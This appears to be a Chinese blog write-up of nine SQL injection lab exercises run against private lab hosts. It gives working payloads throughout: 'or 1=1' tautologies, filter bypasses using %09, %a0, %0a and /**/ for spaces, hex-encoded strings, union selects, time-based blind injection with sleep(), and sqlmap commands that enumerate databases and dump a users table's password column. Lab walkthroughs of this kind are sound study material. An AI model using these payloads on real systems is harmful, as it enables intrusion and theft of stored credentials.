2018-05-14-sql注入

sql injection 1:


图一

这道题木一看就知道是未对root输入进行净化或者过滤,因此直接需要闭合标签再注释就好了,源代码如下:

图二

name=root' or 1=1 -- -,其中-- -是mysql的注释符号。这样可以获取其他用户的信息,如图:


图三

还有一点注意的地方在于我们写符号注意不能开中文输入法....

然后手工注入的操作就略过了,因为很熟悉了。

sqlmap实例如下:

sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --dbs --banner

--dbs是列举数据库, --banner是直接获取数据库banner信息。如下图:


图四

这里可以继续深入进去,学一下sqlmap用法,例如:

sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --current-user获取当前用户名,--current-db是获取当前数据库。

图五

sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root"  --table  -D exercises获取数据库表名。


图六

sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root"  --column   -T  users获取列名


图七

然后就是脱裤了,直接上 sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --dump -C passwd -T users -D exercises 效果如下:


图八

然后发现原来sqlmap也能getshell,具体命令如下:


图九


图十

当然最后没成功,因为路径不对,他的路径不是默认路径,需要用字典先去暴。。。

sql injection 2:

这道题目代码如下:


图十一

本题目主要是针对url中出现的空格做正则表达式匹配,我们主要是要绕过这个限制,绕过的方式有好几种:

A:可以通过url编码tab键来进行绕过(就算你改成空格的url编码%20也会被正则表达式匹配到的,所以要改成其他的来代替空格),tab的URL编码是%09,因此可以构造payload如下:

http://172.18.139.118/sqli/example2.php?name=root'%09or%091=1%09--%09-,效果如下:


图十二

B:将空格换成注释符号来解决例如把空格换成/**/其他一样

图十三

C:直接使用()来代替空格使用


图十四

此外,对这种情况可以直接由sqlmap解决:

sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --tamper=space2comment


图十一

sql injection3:

这道题目主要是对所有空格以及和空格相关的符号(例如空格,tab,换行,中文全角空格等等)都去掉,源代码如下所示:


图十五

遇到这种情况可以采用所谓的url编码解决,我用%a0来代替空格,构造的payload如下所示:

http://172.18.238.200/sqli/example3.php?name=root%27%a0or%a01=1%a0--%a0-,结果如下所示:

图十六

当然这里是主要用注释符号也是可以的,直接上/**/来代替就可以了。

sql injection4:

这道题目主要对特殊字符进行转义,包括\x00, \, \n, \r, ' ,"等

图十七

但是这道题目我觉得出的不好地方在于。。。注入点是数字型参数,不需要用到这些字符。。,直接构造payload:http://172.18.238.200/sqli/example4.php?id=2%20or%201=1就ok了,如图


图十八

然后看到这里我突然明白为什么要用16进制了,比如说当数字型注入参数需要用到 '' 的时候(比如说table_name=''的时候),可以直接使用16进制,这时候就直接绕过了'以及"的转义问题。如下:

payload:http://10.10.10.138/sqli/example4.php?id=2%20union%20select%20table_name,2,3,4,5%20from%20information_schema.tables%20where%20table_schema=0x657865726369736573a--%20-


图十九

sql injection5:


图二十

这道题的过滤条件直接看正则表达式那里,只要匹配到不是以任意数字开头作为参数的就报错。

第五题做法同第四,没啥区别。。。。

sql injection6:

这道题和第五题相反,他的正则表达式匹配id是要以数字结尾的,所以这种'就不行了。

sql injection7:

这道题目看了源码,制定id要以数字或者(-0到9的数字)然后只匹配一行的数据进行正则表达式匹配,上图:

图二一

因此我们根据前面的方法构造payload=http://172.18.238.200/sqli/example7.php?id=2

%0aunion select concat_ws(0x07c,id,name,age,groupid,passwd),2,3,4,5 from users%23

即是所有空格都用%0a来代替,直接就绕过了。


图二二

这道题木在sqlmap上遇到点问题,我使用sqlmap -u "http://172.18.238.200/sqli/example7.php?id=2" --dbs 的时候发现显示其为静态参数,如下:


图二三

但是我在id=2后面加上%0a再跑sqlmap就可以了,后来查到这个叫做sql换行污染,通过用换行%0a代替空格,再加上其他字符什么的(也可以不要)直接就行了。


图二四

sql injection8:

这道题目直接上源代码,如下:


图二五

从源代码中可以看到,他是对order后面输入的内容进行排序,其中对order输入的内容还进行了转义,在次我们科普一些知识,在正常情况下,一般而言order by与union是无法一起使用的(不能一个排序另一个不排序还使用union输出)


图二六

然后我们就无法使用联合查询了,这种情况下很简单,直接使用盲注不就行了嘛。


图二七

payload:http://10.10.10.138/sqli/example8.php?order=age`%20xor%20if(ascii(substring(database(),1,1))=101,sleep(5),0)%23

一个一个拆解就可以了。

这道题目无法用sqlmap跑出来,意识到一个问题,毕竟他的闭合是用反单引号的,sqlmap可能没有这种处理机制,所以跑不出来。

sql injection9:

这道题目源码如下所示:

图二八

然后与第八道题的差异在于他不需要反单引号闭合,所以直接使用第八题的payload去掉反单引号就可以了。


sqlmap直接跑就行:


图二九


图三十

拖了个库。。。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容